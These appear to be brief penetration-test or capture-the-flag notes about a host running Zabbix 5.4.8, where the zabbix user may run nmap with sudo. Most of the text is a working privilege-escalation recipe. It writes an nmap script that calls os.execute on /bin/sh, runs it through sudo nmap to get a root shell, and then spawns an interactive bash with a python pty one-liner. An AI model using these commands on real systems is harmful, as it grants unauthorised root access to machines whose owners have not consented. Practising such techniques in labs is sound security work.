443

Zabbix version 5.4.8.

The user zabbix can run nmap as sudo. Privesc:

TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF

python3 -c 'import pty; pty.spawn("/bin/bash")'